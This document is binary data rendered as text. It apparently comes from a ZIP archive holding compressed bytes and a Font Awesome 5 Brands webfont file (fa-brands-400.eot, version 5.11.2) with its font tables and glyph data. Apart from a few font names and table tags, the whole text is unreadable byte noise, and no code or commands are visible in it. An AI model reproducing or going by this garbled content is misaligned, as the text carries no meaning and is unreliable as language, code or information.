踙)gk1;o`.^5 TKN?XtPkDDn]1Qgz~ ;qۋ=6K8@S.WK0iu-'[ruAu"1+:]CS]!6yp{5(eϟ(ܚ~U֏?MVJb']=iJ剀F5=ZT[n܅D,:Wo}:V)e*O2"]'C4^j&IbG˚f9Xj큭}w6V*&teŉ	YSkvn,99|`,9|!j6aʋUo =yuW<}'LvӔ6pn׆Ȳ+n@ V4qd%TLg`]z1Dsh^<2Cm,9M,gNI?(@UZ.~?K"@h<.#SҲ~ VĜkJf\{9
OKcݗ|fE^?:5wP56[|9,q >Re
@0Uam2I3]0Q%^G//D~m6m9U2*GM>
~T(/pX+DSDL+IG _#V>@o2NtRC%ZG#:c;Kܥc͝+lcNY\DJ<nDxb AQBfOQ$"G=];׏"Ug:b!Vݹ/PsʳX[k$948Ј_~}0x xXڋo! ?Y}?ލtVm%m{K
 ^'E!g"z|6CL#O86+u}wk_>DCL:GaĒ *j Ao&9_?Zڔ3p|.n0'҄ͦF
bѴ( ]D\{5I}Rr{L;N4yVXUQ!a}#k紴?ZCVC^ZֻP^É]	t|KlKv8c?PBpJդ$G* Q2xlbYomCHtr3
i#6|VuIz1AXh1X11" k-sKGMQ﻾IrNe6rd45FAY	T5- Pp=vs` HNΘĶ·(Z#:<5%޹mU3oy^:mU^xтYzU̝(k^F`!0+@m; _I$ sոhRnd2SWLdwH{7Xr?h~:|
T}V9_n?^P	'dHnhαpCqI虂}vìt#Gƍ_iu7-+;8C$VA(!&p@SvÞKŌ|^Q.[P,p.q-EO^Ķ<-m'½	fjs"bqJJQ h-c| j |f&Pfgvj*ƨ'pgW_D/P1q״QG>/{igv(/BeH8Y,!m> #k!-&%L9ނ}iT!w\C"iakC}$V"FDfvF{v	N<t tctҠRA"BsOiK/ya3>t>xӊOhIg<	ecǰ&ˊTMGSϲԋ@W߲n4ȁvʭ[^TrJ!/$v'yS5k,}E3etKPDe}܏ƥe_|Xb'Gg[z9CFa`Ru'atxe
=w,Su3y˷}&cRѴsx=1q'cT).8(eDޟ	 ¯G#md$eG0 a(髣P6ARden6"~_)-t?HU׾SЊ*Qp"C-Z7c`c#(E{$<euoOCpV
&_eZV'D=|q!|-OA6|M"F+9RJb|ϝuoaY^W79Dž"z)<WJ%,-/_82jE(Z!oן+eCUg-HЖQug"51+-uh6hh\LgSeN|J;{u䬽aUu,w{~W<kU߇;g6FŅv~~qu!'5($1m/䲄yB1]po-g(*#˒6d;k<{`#`SD'T3Ǎ 0c2̽F@&±|ҫtPޑ$2?8w`}х`Խ#AJi|w7zniNp/ٙjPaDcuzH៳=_r:IZ_D+iosCӴw?h 4Dkl zÃZ5553R$#>	/iO٩_P4"IPOTGbNgt\./ɓ0FBƆgvRyq8܏@~Ƴvf Ѫ~9[9 c&PU)9g lrքDp
 `)7sY彉^
䅠r.e*OVF4)jwr=yXj(sqhi
J0p;~ڪP[z%
a#Jn;! F$AEȗv0%,"Y{'6W ]7J`e9/7Q{őzn1H@S'e8]O^<썮ؼ'L@뙵mP?Cj?ԖVT ҹ		RQdS'.Y"T®i5rHԒZ%vL[we%)&3c9h0t$.D ̘l1]l]Tw޲<Ԋ>|:]_4#2!LygQM< EB׆քP[B
9F~)LC
9aiK0)lڰht<1>#VfqR'Dtb](GLƟȹ(lGQmY~S`Daň?"&bwQ8gء ;OzRMq^4!H%d?pb%4`ad1CTa`dz:\ِR2t1x7rLY=E'hd;"88khI21aT+4[W5::vʦt <6g&qE%n
4\cG?Zcm`0,$w8hW.Ll"6s` s-uf'"PBw{Ps\ѻcY [n@^@H}$H)rjT -N}!X	 eҫ~Vxce`p KaUbI7>)M9B!d/i+:RB0r-%3QBDhs={ ZK!Bͮc:t%k#S^LrIlph~\!V`MA8YV3tlh)fGUԪPoTw|F[-lk|R>Z/LD JXQ4ދ38.
Pa7 ea}h 5截uX}rJ<-R\[<uN\Dי9Y_$K1j)O8'lێnѼ]@:tcam)y&_۷osi 2-O
<׍t:x a8VbV~?)1rxB^Hv!5YcIa>x]ʑy!ZVNF%kktIΰr
+X;LQD
z>21Dafrr#e𯏵">(1paQE6<Be%*rdwѶluʝ萘h q#d▝^/	wo`d*H\кpQ\iF\"Iގ̅tcV>2CFcàtsB"FYE*fmqeT~cޡkiOߧԾEAHk990LL/_lQ|:U(q
ǋ[7ս[zkUq2c,,f7ȘBe3^;'0gqtTg'YՑddXu:	,똜(ބZi4+<)*Wn,3zy3끜͂9rs4ְ][Wis򪛰iSSI613n8/>'y~q8|[%ԈN(ٰjuZ W&Eޞ9GqڲL2ý`-u|1dAݨbp,.0WY1и%,tsl.HZKNʜYXĩ|"2g#,<e_PI^exOS{znfĳOӟO[M㧺<D+;&:!eTd3S|cլrFW΁%f#S{3Fy]I9";2V,]}Y+c&%9տ䯎0Phӌfr9xT^`t沴xQܭHPII"_hsL.54%$LsR2.Շ*&CKL5f5L\Ek5YP֡ V
f6ͪRp,+_@^]rm[PL Ho҆$佡h)p7EfB{8a.}g͜<ҨdJÉgjN5kTi/泸`vy-=$Lܭ/jϨxoM,7S2df;(;WÊ`Q׍@?\&*0e,#;%dnE1 }!8U(QF7ڊ-ArMYe|84)lC9i	;rswLN+3?:-[ˤOF|9ow
ڬ2p.wmW&Ԁ+-'\vE9!qoؼLE~q]5lҰUev:2*U;5̏}9hLGa<&?ﳋO9v#<EtTSc_Z5{&U_q¹z9N3wL4ɨf-BQ
ukJUJcCavor9O2$n6X#kWlxQ6daE/8Vi,^Zpd;3c%n득yN+U"׬ts%Tdˋ	+IM]e%%SX-W?oRTA] 	[?n{ݕdb#RĄ"LVd8CmO_:w	h_0ୗ_& 1t		`7`Ds@ 󗏬;d_gxK)b/K8҂|4 !Of0t)Шyb`_e,_-~Z`{ҵ%iSBm%S,$})\C7T fDDð ۅgW^ccE 2PdPPvR\J.ZS>HwS
\	Tdۄ$1FGO;)aL#Z'Ow//j?6S3ñ=_v[٘"Sv})wlˊwkm(ޤ<{TR/(GX-<Rp)(OK4uOH=1l${"$T͕fPo§&7b$R<U8Ab\]1]C/nX%*bjeezDer+vžp7Tql.⵲o|OU>{Dv(D+Qb5mvx}~ &q!6 $ae~ @ap2,O Pi`./LPkhji[X֛n8ΗxޟovVAfgdne؆EdO{O	60P+%4I=#UxT,s żƣ0*PZ̣-C EgL'DyCx+B.?k}Qs\r:3쿁,GtK 
Up3P8["SZ:a"a(2P	75$ʱY
ɢH#MM~\OQ [q8Afk[Z,8]!l-wI$c{
R	]xXqa򗰎E4z7\P)|JCf	#Z i>S@AWi%m*PP]axX[]ǌOTb08XkeC_ݦʫ.d~sY*RcX-*~?]Q*|y2t3P\&JF؆Cqu{Ԡt }<'(S4؈aEͨ!(&p::5C-a>XۅrKpDwtoAy,VEq|+ÎcUMr(0=SPQՋb aN_}+$on!fiR<+i!oz"1jݏR	5ti[қP'7LO*Uua_y5hI0d6L!	z2m'='Cؤ_LysxC;6X0,!kZJ PK     N\i#7Z Z   webfonts/fa-brands-400.eotnu [        Z (                   LP                    >V                  : F o n t   A w e s o m e   5   B r a n d s   R e g u l a r    R e g u l a r   L 3 3 0 . 4 9 8   ( F o n t   A w e s o m e   v e r s i o n :   5 . 1 1 . 2 )   : F o n t   A w e s o m e   5   B r a n d s   R e g u l a r            PFFTMȔP    GDEF *    OS/2B8  X   `cmapr    gasp     glyfo   lhead9.e      6hhea6     $hmtx@cC    loca`|^  <  jmaxpO  8    name   postVI   G   J|V>_<      ٮ)    ٮ-                                 L '            @          Lf   GLf                            PfEd  . T      :                                                  @              @         	    p      @                                   @     @          @         @    
           @    
    @  @  @  @  @  @          .  @    @                  @    @  @         	@@                                                @                                  
 @                                        @                      L  h      @                    @         P                                              @                   @        @         @        @                 @                                    @ @                               @  @               @                                  E         @                                           @                        @ @                               	    @                               @ @                                 6<Zinqt~	27>L^knp~\u}!#1MRWY?B1]x{=B  6;Zgkpsy17:K^`mp|\hx#%MRWY
?B0]xz4?ytn8-zwhedXTQP620$RGEDB@>=<:9875321.-+*)(%$ wihXki=;






U
*




 											l	k			                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           Z  B<x8X
B@	rJz`.&Lz$@,D\xJlh>h$F.t!"D$H%0%&Z&'B'(*)N)|)**++,l,-2-\--0V01112\223x34F44557&7b7889j9~99:D::;B;d;<^<==^===>:>>?p?@\@AjABBCnCDE.EF<FGHG|GHIIJ:JJKDLnLMFMNNO@OPQDQRRS:STTU|UVLVWNWWX>XpY4ZZ4Z`\].]]^`^^__z_`a^aabbJbddeef4fffgLjk^klDllmVmpnpqHqr^rrst&ttuTuuvvFvvwDwx
xyyzz{{t|}6}~~H~@@DjB.~f̅솔6̉:0*|rNVܑ`vNPX
:lԟ<xܢ@P֤*~إ.ʦhxf𪌫&R,:V^BĻrN^,tBX 8lhNԌ,b>fNڌڼۄܒ Lf\&Jd6       ;  2#!"&54636767&#"&'&''3#"'32>54/(S5	"$-	.79X)`0!@
$:T-      $  2+537#54;5&#"#3#"&5463:E()??H/&=,7H`          5  2#!"&546335#6264&"54.#"#5#354632gC  @!!@Cu"j
h   	    V [ c i p w }   2#!"&5463>54&#"54&5".'&'0'43767.547&7662>&&364#"32&'&6'6&'6'&&6'&'6'"2=aEE]>2	 	
	+
S	`W7D]]D7W
 
		
	)
@	       0  #"'327"&'327.=&547&546326767(ItFXII:#5

	&/'q@=+.$"(	5iW6/-)+ 81:+>!%      %537#54;5&#"#3.5462xY:E()??YxΑ\H/&=,7H\g       e m u }   7#54366'72&2&5<54'>54&'6'&&".&'./"2?'.5466'&'6'&6'&'6&!(GDtC]K	$
"A%	"
 
	L^,	"	3@pDS? (%			%!(0Sh
!	    J   #"'6?32654&#"7>76'&54632#"&7>54.#".5462g&# 7IXALW=3.:$
GW'Α(;YA=RX>9
"+A9,!4
$
		"	g.~Ng    R  +6?32>54&#"74676'&54632#"&7>54'&#"&5463!2 %:!WAKW=2-:#Y`p$;(F*=QW>8!+@8, 4#		7 `        + 7  2#!"&54632654'#3#".546327&#"%5#5##335t+5^9$');;`6,"%;R;R    t  '  %#"&4632&#"3267#53##5#5353fRPppPK54. 7 F126mn888778Sipp22 8!2G6C88888        (  3#3'"&4632#54.#"#33>32d]].  |]!]Z
. "-	+) , *#+))0!       
 3 L T  6#".5462#*.'&547&5472632>34&#""'&#";2>&2"&4#9	) 76-*#1*/*&1"'@(",0+"(*&00/d##&$$;$	(7A0
	.w#00#&+V$&$$&     
{   %#76&+###'!2a41<a;S<a<-t>$%`--=       !'7#3/#3?#'#56/cat440>&L1      '73?!7!7!7@RtMPP_),,aR5R   . A T  %#5"##5"#723>75."#57536353'262>54.2>54.#6MGB11	X
T11 
	! R5,DCCD:4ONMO:T`
		

       2 $ '  #"'&'.'547>7>7327'&j,,*'
j,,*ǏD$#
	Z+%CY+RQ   #  70+"&?'&6;2%+"/>76;2F
AE,A	[B\H)
B|	zL	V	6H	         1  2#!"&54632767'&+"3%6&+";26/\0 .1
/fB/B`	U7	6W	x	w           '7'7757'7LUTTUTTTUUTTTTTUTT   ~        %'?'7'?'#553!53#	zw w4((')'.$T%((Pxx        3 k  2"&4264&"6"&462"'&'.5&47676762><.'&'.*#*:3:>76`CC`CT>,,>,\C==!!!==C-#)(##)'#3C`CC`{,>,,>6=C! <!"C#('##)        2#!"&5463264&"264&"F5%%5%5%%5%`%5%%5%%5%%5        
   #$"&462'373A9Α-""bqΑΑ44      !23#!"&'45467#D	D	%_	֓  : )  #".=#"=47>76;232+7665!*>/
*(F
T

T#!	 .,
DB%
s
R
@
        7  2#!"&54636/&'&&=32=4+54+";3244,	1&*`(S4H
8+Z  }  (  %"&#"#.'&5467232>''&7>7?=: ./1E.8938 %&?&P26*'?F	(n&( (            7#53537#b"       $ ; D P _  7"&=463253+&=#&=#"&7#4>7'&7676&4&"3264&#"322#"&=46Z
&66"	we	tt====#$$#52tt   
 	   k ~   
)C  #'476#"&"54762"10'&'&"#'.'&'&76'&5476767>7&767674.>32&63"6'&""60'&672676&367676'.'&#""6&/&'&6567656767636'6'&'"&#&'&''.'&'&76#%4'.'&'&'"1767>&72132767>2#"'&%

+! 
!	
0

(

	$29#%		
	

	 E
	
.3% "#"(#*%9		)	<	5$	2#1!.2
 3$
		&#



      " . 6 <  2"&4%6&'.>'7&>7&''7&'67&ΑΑ:#		IKG'd3+$"70!^e$76H%
lnR.t3 =YM?EΑ*
JR#9C&(,9!AR<8.
 %MSK.4ZP        S  %#"'#"&547&546326322654'&'.543232>54&"#".#"B.&UxB.&Ux-C[*DWA		

G&.BxU&.BxUr-)9	()

	&   t  ?  2+"'&54636&+"?>;2>7676&+"&=4>;2>5C0	S	Y	I
Z	j !	Jl%	     # 5  2#!"&54=46354&+";26754&+";26!!!SSQQ!!}(!{         2"&4>&'&'.ΑΑk!&"
qΑQ		
        4` M  0+".'&#"#"&'.54;2326=.54>;227>?6;2!)";


(/`$"-;=]$		;JD3	


&!
84.[0

=`	W	
t<     	  & 0 > J T \  6&&676&"&547676766.766&76&&6'.7>'&>&7&76
&3ULH<,<IB@D4	_@@S_@@E2U&%J7CA < c
		
9$
L=CLH'155+.iS3DS3w
.Z05R	53	

		
    	    &54>7"'>77.=RB:6^:)?8-??-7!6'XvR EZ=iE
Q..QX3?M)\Z   R  %&/#"43267.'>67".'665.674>2/>21-a90Q%/,7%$4##&#*)&&7&'
>H;3	-'
$,"$$6*+(%2)%
         7!+5#"&=!%5!'2!5463&W&dA&d&t'ZZ'-UUnUU((       4  2#!"&54636'&6&'."6323276P2B!
	-A@`?N		 *f#!3TR         + 4 B K W  7"&46;462"&5"&4622+"&54>3462+'"&=46322"&=7"&46;2#^&/''/'/v3&/'/'/v'/v3&/'/'/v&/''       / 7 A I Q  .54'76&#'&33'76&#"#>32"#"#"'76546"&4624&"2>e6BeL	"8!/M	#^7S=A#$:0A<ΑΆċg>-"4G		[,48":	2/7:b($ΑΑċċ          %.546777'7&'57DWumS7EM:D%(E3# R85Q
+	8$&:T!+     7&#"7.'327>7327		    g	;/%9*7-39`O$4        %#"&4632.32>7#53kggaEC YM7Z@#7jΑAA!M2A\#"V     ; I U  6"&5462$"&462"&'7264&#"'&&#"32>54'>&6"'&7672"&54>Α
$28=2$	N61$ULC

ΑΑ
NV
(7$tY


        % 5 `  %"'&76276'#"&5463272#"&5467#!"&5463!2"&'73264&#"'&&#"32654'>&RHW[`d'6;B6&T:;Sf1`
U]!	*<<*
!    % 9  2"&42754&""&=#326=405#"&='32>ΑΑ",>,

:,,:

",#Α!


+*l

-.,+kq.0

/
/+#     1  %"&=726='54&"#"&=332>=462B]B"4B/.BV
C[C4F.BA.FGH:.AB.FE
-?@-$     % 3  #!"'&'&'.5463!225#5#"3326	`		|
`		        `  	    ! % )  53#55#%3#535#75#53#535'35'3#3#R3RHRRRͅR4444L]]))]]))]]u3       	  # 2 B  #"'56322#"'567#!"&5463!22654.#"#754&#"7532G`+"-3+4!DiD`/ %	
3:B.
3  9   @ D      7'26322/>&67>77367>?"&75.#	&'<7465&#".'&'#"&54?.>3263263232654.547'6'632763'7>31#	376I
	
G#

,g;
#,
	"	?!
,		0
5/)
'	E<
		-
\	PK<	3		! 

4.

"
	
#C3^        ( : T  #"&54>767676'&#"&/"6'763276&'&"76'&#"#".#">2@	&pNNt&	( +$P&		
V
=
"+#3(*	
0M,E'RhmQ%D*#&
	D%**"$

1       1 J e  46326&".'.7.67>>32'64&"#".'&'7264/7'#"&5467&72767#!6*,
d,3!V6"#-,
Z#9,d-[(b0'(7#,,

Yd#*,d,2"6!_U#!8--
Zl!#,d,[	(0'(#!7,-X     @u     3 9  7+32'3254#254+%#53#32>73#"&546323&#"AH5qO/5
:8U8!>\<GI::Cs3 H34cX3NS+(/3b# "VJ<;MP7          # ' 3 H  7+532'+5322#>7#!"&5463!235#4'654+32674&"327##"534-.+(?`NN+#>Z]'$?(
2"	"d47--`})
0+ +* /
#    ! 2 : B  %#"&'326'7654&"&'>32>&/6'&'6"&462264&"BsCU_&*T(87M7;bg 	(	3%%3%R''CsBeO' +<8''66'V7`	(v$4$$4&&      6 > I  >&/6'&'2#!"&=326'7654&"&'5463"&462264&"&Y'O%53I38u0""0#;%N&&^q%(84%$33$Q0"0""0$         . C  2"&42654'&327672654'&#"327672654'&#"3276ΑΑ]	
`
|S Md20
?0$	R{B4

<5Α	9	2B-L
0
      @   3#0#57'#53?3@b[,	]]V+	bc
	T	]		T	     5K   # - 9 D N ` u       7#"5'743272#"5'7472#"5'742"5'?2#"5'7462#"5'762"5'?#"5/7547632#"'&5'?47622#"5'72+&=476326%2#"5'74'2#"5'742#"5'7o	s~!..!	7O.AEEA)iEEiDD`####9989DBBDFDDFr@  :BCC8/ !.		I6<AACCCC      +  %#'.'367.54632&'654#"O*+%$
J;+-%+7/(0

"L44\;K~Km5,>N12A)<:
.:9            $ ( +  /&=4?67'775'?'7'75




_MجM_7_MNNNdM_7 ;g?3ss3?5J%g?3444s3?5J%   A $ I   %##"'.'&676'&76067>6&'&5.*&'&35236'#"'.'&67>76'.5676676.&76"	$#J$;
'&/("MD7+
"/26(&"#D+;'I!,!%B'
$	"1D$ ."#C1)6%	($X6%		('B<s L
!		&&H	
%	
/,    
 [  "&7>721>?>././76&/7>?>?>./65 g<7
		

-,		
(8h<i#36B

 
		32	
	 +3
	A911D+m    	     ) 6 C K S b   &#5&'&'&5473.'77'>7"67527'676"&4624&"2'67'654'7&'"'7&'&'7&47'6767'6327' :a

)=

:b);

a:=)$b:=)oΑ΅Ċc

4	@@	44	@@	490	.	2991	w90	/-	09.	09/ΑΑĊĊW2r1	CC,,CC,,    
  " * K ] }  7&5472#"&6%#!"&5463!23254#"#.32>54&'&#7654'7'"=#37'.541535#"545#23232e!!#O`1$@ 0	
!	U4He&$
r
|`YD
 XiK
=
B        ' 4 < R ]   &'#"547&5467&54>4&'"&"'6'26&#"527>=4&'733'".5432#"&=4&"#5>73;#067%"
%:5f#)-(453T?	%%!!$	&9="##&2
,&
		$##$d w! 	###j%	>)a         !!77#.'#3@Q#	%P@6-/0"g    g  -  '&67&632'2'&6654&#""'&>H	77 !;kEb{Q>jP9%>"
	'M0_93!!sDbENeRC9P$9G#	(VG-      2  $./"'"'&67.5'"&6767&632n##m 	
!QRQR!
7	
7
	0 Q^yx_Q 0     3   ( 6 G S  "#"'7&54632&'"3264&264&#"'#"&46322>54.#"32>54&#"E`
1DNrQGq	rD6(F``FBc
o
Z@	";7ME`N;50=40
SuST!		       F ^  2"&462"&46'&7<5"&#'&7&'&625463!254.#!"6366263$$3$3$$3%#G6"(&	&("6H#gB)

 *D&!0""0!!0""09*f4!
*)!4g+
	
   
 	     !##5#5!3735#5##5(uW9<kZ9k(C(u99:99uuuu    " 3 F V  7#"&'&547>32&54?6#"#&7&6#"'7&?632%67232/&54+dl	
1
J	+mi		Zk	>	5;
"	h1  		Ro	"(
[)
	    " K  7+"&7>3262"&7#*+"&76763:>7676oK;H$
*m$y@
  s	O,YBpW	   
   )  &'>&42#&'&6373#&&'&'&6;2507h<m~r
|JYAUM21c2">LvnM	X¦nfjaJH      @   % ) H S  %#70>?#!"&5463!27#/&'#37#74'&56367&#"#"/26'#"3673!m X@+'@$("$'  <*4&+`jG2!
	#    @  	   4 B R ^ d         -9F  $"4!2#"462#72#"42011"1"1"1"1&1<143413030310030410+353#!"&5463!2327&67&#"64'4#"&#"5#3<>323<>3237#&#"327374&5427&"'63'=35#5##3734#"7'&7&5#3546467&7'7#&737&5#35467#&7373535#45&1&0#"0#111323210606107#'#537374&#"326xuuJ  Q9*#76#*9555Y	-

(	#
	:

	5"

*Q9*#67#*9Q1	Z`fsQ-,)))v%	
	
%	
	%		 			%	%			|~U:Q--Q     @   ' 3 : B S k u y    %+53272#!"&54633533'654.*#35#535#535+37#&"264'&75&546"'654&'&5467&2654.+35#5!26%+532 :-r#$;%%^! a
,
$l[3z	*		`R!!#RTT7:%%
/

	



RRR i	6 A   . 7 : A M N ` g { ~1Iamxy  #<.+#532254+2*##'#5377'#3#57254+'#3#3#53#54.+#532254+'#5#'#'##7353733':>7#!"&=3673353>7352335;67323535#&'#&'#"1#"5#.*+.'#.'#5463!2"#"5*5#."&*#&+.'#3673465273<523272?"+73254&"&54;254&&54;#"6+5'#3##53'63023"'&47'3*;735353#'#'##"543'3#E'!BC3)$$j?

'&&'77I
'"#
 5B4)(+ (g.(#		O

:SR
0'$	  !W	!	 
'&&'889	""!Lp	EZ	E6	8	Ej EP6666EBB//(Z						\	
		
&n]
		<	
(

(E^7BB11E44"#(E    @ 	   , A X r      7#"54632'2+743!2+7437#!"&5463!24+";2?46:3267#"&#"327;2?47454+"'&+"0;274+";2?>:1267#"&#"327;2?474+";27'2#"546
	j	  @"(T
%@
"(T

,J
		!
`f
@b\'&nf
@!h1	
 
  @   # @ P Z ^ b q   %2#4>2#"'5672#!"&54634.54325&#"#"'32675#53275&=5&'#3565#752654&#"'#757454&#"3275#"'
$	q


 JE#e
$
=$$$n $		5`	"			"Lr3!}Ub}}! "	(	3$
	       1 O X  7#"&546323254.'&54632&#"	#"&'.#"26?#>BD@%)=

D<-^;+
zFE) (&		Q
FCFM%<-'J#
	
Q60	(
/3*	     g  2#!"&5463254.1&54327&#"2#"'.	#"326?'#"&54632L	$:%+
&.		
(+#		
`3	/%.
0,&
       ; G  2+#"&'#"&46;&546324'!"&463!.#"!2#!326%32+"&46h

5gL|C

5gL|

^8Su*

^8Su


 gTDgTD`/9uS/9uk  . ' / 8 E    %#"&547&54632&54>32>32654#"6'&"32654&>&'.#"723201&'"##"&732654&#"32'67&[!iVF_3/%7P!"/."	=0
Y!r(
1
	.	C-A6	0&Xs\99#3%/^xeC
Q\P:('!	;A		

?$!)/          #%#!"&5463!2#37+V`A__[p)`*[[   3 J M R _ f i n q u z               %#"'#"'##"&547'&547'&54?4&14?&54>32362363225#7575'#075175573'7'37'77&='&'#'#7#"7'"7'737'37#3'#362?#6?#747'74547'67&74kj	476	8jj8,,-,3483,.,rb@#PSPY|D"uSb:9
h3Kx63)O<<$$kR#[ci\&\a|sZ#V.#_Z	Y_\
a`	L30?\4Z`H!<KfCRXT\G|Xed<=y66G6QS+U?sL&2;V_Z__S\=lO        7+"&=4633'54.+"Gf5&&55&,3	XhU%00%'75{		     	   '  7&54632%&'>7&'677&'>7\\gq!!p$74(-CyU#"g\$a!rp!0>}B-k#Vh"      :  % :  #&&#"6326"'&#"&#"+632632&#"&#">326328/-:8C,0=*)$"75>))>57#"*>G@**@G>"/6>))>6/"!18//8#9Q+)))]##&&	    z  , < M ]  %#!"&5467&54>32>3254&+";26754&+";26754.+";26754&+";26)5I22I' '[:Ec				Y				Z			W				
C+3HH3$<&8HcEo		o									

		 '           # ' + / 3 7 ; ? C G M U u y }                  ?7?7'777?#5##5##53#53#53#5##53#5#57#5#53"&462'6#"'32654&&543237&#"'#553%#5!'%!5!#5#57#553'53'#55353'#53#55#53'#5d,r"""!"Q"=!"Q"$"L66L5!	 	ya*zz"!!Q"u"/"&






B
	

>
g















"""5L55L:I""""M!!0jbbU;;!!+!!!!+!!xM"""""""         " *  2#!"&546;235463264&"264&">j7''7'7''7'L(('7''7''7''7      | Y  %#".#"327>32#"&54>3232>.#"#"&54654&#"#"&547632632D26()!)'5*9<+C; S(@Z)F*!<,,"'%.&		%	!
C2(&@3%.Bw1B#-/,$,>>,*"R?*E&",/,"))	2A	,%3	>       @  2#"&'"'&54>7&547632>54&#"#"&546Ik$=&(		
%	&	A5<P	+{\I$D:",0	Eh	 0K 214:N<,>0Pd        H  #"'7&546322656'&"77'&'&5476323217676}C\91v \\\Ln96mF+
	)1-	!_CZ\s3<\imLJ86lL5-D?	)	         3#3#'#53'#53'3377#00DRgYYgRD00@Q^Q6p0 00 0p@       (  !!5#'#35'&753735'&75&7@tS;DW Z O	Cv@V"&&s          !7#/#3@N!.-#L@ [[^  B           '8I[nz  %'''.567&667&674665".'&7>762263&'&'45&'&67666667&6767&'6:>5>"23636#6666'6&'.6767&'"#276&67&54&&7&'6757"2654&&#327>'"#276464'*#'7>7>7&7.#'&''''&'&'65.'&26'67&'.''&'5767#65&'&'&7&5&'6&3>.>6&5467"&7654'64>76&%'.'&6'&'&6=33	!	
(!'%/T'
		N
4	P
2
#-?,,T"5#J	$a8KQ/K*
	


1
255+7S987172
$B!<4% 
%0%	))	"
G	"G%
"$	
		
!'(!$	!&'	("# -- -# .&

$6 	( O4*!
&	O6R
		"3%&  	

	#

	H	
	+        0  $"&462"2"&42>..'&&&&Q';('33&XQ:aB9*e&&&&)#,8%' ,)        # 3 ? O W _  2"&4#;2=4>;2=4&#"54&+";26'+"=4;2+"=&54622"&4264&"}}}t		%$		9(-				ΑΑ}}}		  		(9-

5
		
Α   @     ; N c  %531"#527#!"&5463!2##"'232>4&7.675&464.'>54.'+326&((h v9
73!"651""1	
	u{ #` %	!!2=
      @    ' 6  2"&45>54.'72#!"&54632654&+"3ggg ((p( OywQ[5X4rOpghh9F88#x``qMTn0Z8Np      ) 8 D  7&#"327#".54632&#"327#".54632'2#"&54>2654&#"!
!!	,
-.!	!!	+-.yi)EZ0f?sFQzvUVuwX'"(%$X'!(%h6^?%gBrD=sXUvzQSx        t    7'7'7'7'77''gg-4M-4Mggf-4L-4Lg  	     2"&47''77'7'7'7'ΑΑJM5MM#~~~JM5NNΑKN5MM$~|~~KN5MM  
 Gk 
  3 ; M U ] j u }  7#"&462%2"&46&'''.7&'3>3232323$4&"27>7.#"#"#"2.6$"&46254&#"26%#"&4624&"2		d/w%$s/0#	Z$o+)m$`
#C_DD_`P7NP2%!VZ(!WY*;**;': **;)''	%//.-"#v0  /u_CC_D~7L#1+Y(!VZ(!{;**;*H!*;**1''     < ( 4 @  %'&'.7617&'.7>26?6%4632"&72654&#"!9L9L#	L; 	140
L6#<#LlLB&4&&rL#	9LM
6L#;$5LL5%%%        D  6462"7#!"&5463!2264&".#"&/&?6/67>  `/D//D%	%00$/#
!!`SD//C0	/0$0        +  2#"&=46367>54&#"&'.#"2]]")
" 
*"	]] '!( 	  L  #'&1.'.<53>7.'&#53676.#<5:3.#5'+&2RJa
0 j!;-		<)&;@z(cZs)%780
8=
B7.

{	       j p  74>32#"&$"&4624&"27'4#"#"'614#"&'764#&5473254.#672/632327"37.#"'67Αv9+K70B
-K90@!`		oΑΑ|
A+M90A+K8/        " ,  7'>32'&4>32"&%'76&'7.547M#f7C:@!)#&#11F1;!<P@JpM*?Zx(v,0!%B!;&1F11|S.%$X!')}\J>         %0"#"'01&'&'&'&747676747673467676773316676767"67203&'&'&'01&'#'#'>76'&"'&/32656'.'&'&>?677%06($"?	
			%
	.@
 
	4,	
	&B05-)"
	
	
A- #&"]        %  "327#"#.546;2&&'>4&'>:=`*&=W5.F_cg^F-0G*76+GOJk~0K?dg?sb~bJ   	 ! * 2 <  !673#"'.546767>667&734.#"7654.#"&/?DywJF ">59O5EQapI	#)IY/*=C- DI$3 DN&# Q gFOUk+9'%9!*,6J&         2  7#"&546;%2+6''.'.676767&'-
P:4>7#
$6 /*A|0#>=g>3E/;73!      J _ q   7&6765>32'&62>54&6764'&#"#'&=4;2+3>.4>#".&6.'&66'47'&>3276#"'#"'&g9((:O2	$*8'Z &&'77&
%eU;%9HD<0%,-.
%0C#	1oT	
5IRR		h
	^%79(1;	&	/ &m'&&	

("Q5*E'1*
1&_?0J%
    - 6 N d  <.#*'4632&'.54>576#".'&62>76&7>'&&>76	JI>.9&.2-%3%T
$T/0^37&@9J'$	*
&		(@8$+ ,W)7	
	))

&
     	  %##3#im2uhV    &  #"'&'.#"'>76?676&6Y[?'		
(	4"!]E&ArwI#-)0%
L5-l     
  !!%'7#@<@@@@\@{VVY        , ? N  !!274&#"#3235'&74=37#4754>35'"454=#?'#'##77@3#!,8DSgPQ		 @3
	%oq%

l

!     * 9 G T  %2#".547.6326?6632#"&5'632>54&#"6'&"'&272>54&#"	{X9a8	9O	aXP9
ky&1?Y)E*0'(	!}'ihR
       '  701!67"'.5&736.'#>32>W\Nb'4DzGq$zc@h4-6	ib69!.+G4];64       -  %2+#5#"&4632'#"&546327.#"326WAX2ggGp#=+O>WW>H-;]7[[:b,a.C&ΑIAmnHW>>W?#/5;          %''7'57#d%S}.*}TA`&::   Y e q  %2#54&"#54;2354;2354;235435&4663232632#"&#"2354;2354;23543%54+";2754+";2"*"$$%	
%%$``     p<&     @@@@      Y  $#"'&=#;54;2+"=#".+#"&46322>7>23>32#"&'#"!546Y	Y		Y	'e&**&				6	Y
5$<"		Y		,6,*:*"	!<#6          $+5326"&4624&+3532FFFȑΑ3$x2F$JΑΑH3J    |  7 F U  %#!"&5467>322>54&'&7654&#"'&#"3$#"&764'&>#"&764'&>"8'/B7*X6A`	J4%?
**%	"	''8C.+?3?X4J)!	);)x8	-l-Ia(	H

      :  7&54636'7&"76&%#/7327654'&7466*^I"<53%8C)G!G(
4RmR=#!@P_"*&3IPH'%*#	6$*+),IH'0A(       &  '77#".4>327''77%+*|,..C97D-,B3O}J]]J+VV+Y3O7&	6fi89gKXI^\I    '     7''7'75#'7bVllV422gV ll VΝ2djd2          1#7627'&73%'#762i98f^ 889Xڸ	e	&     ! ) -  %#"&'*##".67.>2%35#5&''35#7#77#7!=ZfZ=!**-e)&lm~8//8&TJ;##;JT-: "j:   	      $ ( + / 3 6 :  #!"&5463!24+''#"3!2#5#5?##5#5?##5j%	o==o	jIIIT6vp@vcujjK22K%%J&&,u%%J&&,%%        1  2#'".'.&56'&'&'.VP5QF! %&#D
	$GI&%6(,>=E10RG	.A9l
,!	g,         i  #"&54676327#!"&5463!24&'&#"'>54#"32321/4>14&#"3267>4>7632	`@		D+ "3	! +
,(0
3`"??%*) <
